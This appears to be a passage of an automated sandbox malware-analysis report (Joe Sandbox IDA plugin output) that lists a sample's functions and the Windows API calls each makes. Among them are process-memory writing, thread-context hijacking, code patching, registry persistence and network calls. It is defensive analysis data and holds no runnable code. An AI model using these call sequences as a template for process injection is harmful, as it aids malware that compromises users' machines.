    • CoInitializeEx.OLE32(00000000,00000002), ref: 0042735E
    • CoCreateInstance.OLE32(00401690,00000000,00004401,00401680,?), ref: 00427394
      • Part of subcall function 0041EBA1: CoUninitialize.OLE32 ref: 0041EBAF
      • Part of subcall function 0041C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0041C80C
      • Part of subcall function 0041C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 0041C826
      • Part of subcall function 0041C7EE: RegCloseKey.ADVAPI32(00000000), ref: 0041C835
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004238DA, Relevance: 7.7, APIs: 5, Instructions: 163
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00423946
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 004239D7
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 004239F1
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423A1F
    • GetPrivateProfileStringW.KERNEL32(?,0000FFFF,00000000,0000FFFF,000000FF,?), ref: 00423A3E
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042ACD8, Relevance: 7.7, APIs: 5, Instructions: 162
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
    • GetCurrentThread.KERNEL32 ref: 0042ACF9
    • SetThreadPriority.KERNEL32 ref: 0042AD00
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 0042AD1E
      • Part of subcall function 00425B94: RegOpenKeyExW.ADVAPI32(80000001,00434028,00000000,00000001,?), ref: 00425BD3
    • CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 0042ADF7
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
      • Part of subcall function 00419ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00419EEB
      • Part of subcall function 00419ED7: CloseHandle.KERNEL32 ref: 00419EF6
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 0042AEBD
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040DFD7, Relevance: 7.7, APIs: 5, Instructions: 159
    APIs
    • GlobalFree.KERNEL32 ref: 0040DFD7
    • RegCreateKeyW.ADVAPI32 ref: 0040DFDD
    • GetWindowLongW.USER32 ref: 0040DFE3
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040B4AF, Relevance: 7.6, APIs: 5, Instructions: 130
    APIs
    • GetFileTitleW.COMDLG32 ref: 0040B4AF
    • GetTimeFormatW.KERNEL32 ref: 0040B4B5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040B548
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040B5D4
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040B84E
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040B4F1, Relevance: 7.6, APIs: 5, Instructions: 118
    APIs
    • MessageBoxW.USER32 ref: 0040B4F1
    • MessageBeep.USER32 ref: 0040B4F7
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040B548
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040B5D4
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040B84E
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041E587, Relevance: 7.6, APIs: 5, Instructions: 111
    APIs
    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 0041E5A8
      • Part of subcall function 0041D92E: GetFileSizeEx.KERNEL32(?,?), ref: 0041D93A
    • ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 0041E5E9
    • CloseHandle.KERNEL32 ref: 0041E5F5
    • ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 0041E664
    • SetEndOfFile.KERNEL32 ref: 0041E68A
      • Part of subcall function 0041D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D8F0
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042678A, Relevance: 7.6, APIs: 5, Instructions: 110
    APIs
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetProcessId.KERNEL32(?), ref: 004267F4
      • Part of subcall function 00414EBF: CharLowerW.USER32 ref: 00414EF2
      • Part of subcall function 00407E34: CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
      • Part of subcall function 00407F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00407F40
      • Part of subcall function 00407F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 0040802C
    • GetThreadContext.KERNEL32(00000000,?), ref: 0042689C
    • SetThreadContext.KERNEL32(00000000,00010003), ref: 004268DC
    • VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000), ref: 004268F2
    • CloseHandle.KERNEL32(?), ref: 004268FB
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041CD7C, Relevance: 7.6, APIs: 5, Instructions: 108
    APIs
      • Part of subcall function 0041CD37: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C), ref: 0041CD4C
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 0041CDA9
    • ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 0041CDCE
    • WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 0041CE47
    • WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 0041CE6F
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 0041CE86
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004135CE, Relevance: 7.6, APIs: 5, Instructions: 104
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040C366, Relevance: 7.6, APIs: 5, Instructions: 100
    APIs
    • GetTextFaceW.GDI32 ref: 0040C366
    • SetFocus.USER32 ref: 0040C36C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040C396
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C4BE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C53C
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041FA1C, Relevance: 7.6, APIs: 5, Instructions: 99
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA54
    • GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA6A
    • DeleteObject.GDI32(00000002), ref: 0041FA77
    • CreateDIBSection.GDI32(004345C0,?,00000000,00000000,00000000,00000000), ref: 0041FAE7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • DeleteObject.GDI32(00000002), ref: 0041FB06
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040B567, Relevance: 7.6, APIs: 5, Instructions: 97
    APIs
    • SendMessageW.USER32 ref: 0040B567
    • GetFileTitleW.COMDLG32 ref: 0040B56D
    • FindClose.KERNEL32 ref: 0040B573
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040B5D4
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040B84E
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040CA8E, Relevance: 7.6, APIs: 5, Instructions: 96
    APIs
    • SetEndOfFile.KERNEL32 ref: 0040CA8E
    • SetViewportExtEx.GDI32 ref: 0040CA94
    • SetLastError.KERNEL32 ref: 0040CA9A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040CCC9
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040CD2D
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040EB86, Relevance: 7.6, APIs: 5, Instructions: 92
    APIs
    • CreateDCW.GDI32 ref: 0040EB86
    • DefWindowProcW.USER32 ref: 0040EB8C
    • PageSetupDlgW.COMDLG32 ref: 0040EB92
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00427784, Relevance: 7.6, APIs: 5, Instructions: 89
    APIs
    • ResetEvent.KERNEL32(?), ref: 0042778F
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • InternetSetStatusCallbackW.WININET(?,0042775B), ref: 004277BF
    • InternetReadFileExA.WININET(?,?,00000008,00000000), ref: 004277F7
    • GetLastError.KERNEL32 ref: 00427801
      • Part of subcall function 0041BCB2: TranslateMessage.USER32(?), ref: 0041BCD4
      • Part of subcall function 0041BCB2: DispatchMessageW.USER32(?), ref: 0041BCDF
      • Part of subcall function 0041BCB2: PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0041BCEF
      • Part of subcall function 0041BCB2: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0041BD03
    • InternetSetStatusCallbackW.WININET(?,?), ref: 0042785A
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004081DA, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
    • LoadIconW.USER32 ref: 004081DA
    • GetMenu.USER32 ref: 004081E0
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408D90, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00408DDB
    • WriteFile.KERNEL32(?,?,000001DF,?,00000000), ref: 00408E19
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00408E3D
    • FlushFileBuffers.KERNEL32(?), ref: 00408E51
    • CloseHandle.KERNEL32(?), ref: 00408E5A
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00414CD7, Relevance: 7.6, APIs: 5, Instructions: 80
    APIs
    • GetWindowInfo.USER32(?,?), ref: 00414CF6
    • IntersectRect.USER32(?,?), ref: 00414D34
    • IsRectEmpty.USER32(?), ref: 00414D46
    • IntersectRect.USER32(?,?), ref: 00414D5D
      • Part of subcall function 00414B5A: GetWindowThreadProcessId.USER32(?,?), ref: 00414B85
      • Part of subcall function 00414B5A: ResetEvent.KERNEL32(?), ref: 00414BCD
      • Part of subcall function 00414B5A: PostMessageW.USER32(?,?), ref: 00414BF7
      • Part of subcall function 00414B5A: WaitForSingleObject.KERNEL32(?,00000064), ref: 00414C06
      • Part of subcall function 00414B5A: ResetEvent.KERNEL32(?), ref: 00414C31
      • Part of subcall function 00414B5A: PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00414C45
      • Part of subcall function 00414B5A: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414C57
      • Part of subcall function 00414B5A: TerminateProcess.KERNEL32(?,00000000), ref: 00414C7A
      • Part of subcall function 00414B5A: IntersectRect.USER32(?,?,?), ref: 00414CA2
      • Part of subcall function 00414B5A: FillRect.USER32(?,?,00000006), ref: 00414CB4
      • Part of subcall function 00414B5A: DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00414CC8
    • GetTopWindow.USER32(?), ref: 00414D8C
      • Part of subcall function 0041CC46: GetWindow.USER32(?,00000001), ref: 0041CC68
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004162FD, Relevance: 7.6, APIs: 5, Instructions: 69
    APIs
    • GetMenuState.USER32 ref: 004162FD
    • WideCharToMultiByte.KERNEL32 ref: 00416303
    • GetSubMenu.USER32 ref: 00416309
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004260BE, Relevance: 7.6, APIs: 5, Instructions: 66
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 004260DC
    • GetModuleHandleA.KERNEL32(?), ref: 004260FB
    • GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00426106
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetFileVersionInfoA.VERSION(?,00000000), ref: 00426125
    • VerQueryValueA.VERSION(?,00407250,00000000,00000000), ref: 00426145
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040E220, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • CreateFileMappingW.KERNEL32 ref: 0040E220
    • GetObjectW.GDI32 ref: 0040E226
    • TranslateAcceleratorW.USER32 ref: 0040E22C
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00426387, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • GetProcAddress.KERNEL32(?,?), ref: 004263DB
    • GetProcAddress.KERNEL32(?,?), ref: 004263E7
    • GetProcAddress.KERNEL32(?,?), ref: 004263F3
    • GetProcAddress.KERNEL32(?,?), ref: 004263FF
    • GetProcAddress.KERNEL32(?,?), ref: 0042640B
      • Part of subcall function 00425E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00425E37
      • Part of subcall function 0040924C: InterlockedExchange.KERNEL32(00433060,00000000,7C80AE40), ref: 00409261
      • Part of subcall function 0040924C: InterlockedExchange.KERNEL32(00433040,00000000), ref: 0040926A
      • Part of subcall function 0040924C: InitializeCriticalSection.KERNEL32(00433018), ref: 00409271
      • Part of subcall function 0040924C: GetProcAddress.KERNEL32(?,?), ref: 004092D1
      • Part of subcall function 0040924C: GetProcAddress.KERNEL32(?), ref: 004092E2
      • Part of subcall function 0040924C: GetProcAddress.KERNEL32(?), ref: 004092F2
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004203CF, Relevance: 7.6, APIs: 5, Instructions: 64
    APIs
    • SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 0042040E
    • Sleep.KERNEL32(000001F4), ref: 0042041D
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00420432
    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 0042044A
    • RegCloseKey.ADVAPI32(?), ref: 00420459
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041BA6A, Relevance: 7.6, APIs: 5, Instructions: 63
    APIs
    • socket.WS2_32(?,00000002,00000000), ref: 0041BA7C
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,00428A0E,00000000,?,00000000,00000000), ref: 0041BAA6
    • WSAGetLastError.WS2_32(?,48000016,00000000,00000000,00428A0E,00000000,?,00000000,00000000,00020000,00000001,?,00428A0E,?,00020000), ref: 0041BAAD
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,?,?,?,00000000,00000000), ref: 0041BAD9
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • closesocket.WS2_32(?), ref: 0041BAED
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040C6EF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
    • PostQuitMessage.USER32 ref: 0040C6EF
    • DragFinish.SHELL32 ref: 0040C6F5
    • GetSystemTimeAsFileTime.KERNEL32 ref: 0040C6FB
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C77E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040C840
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041DCBF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
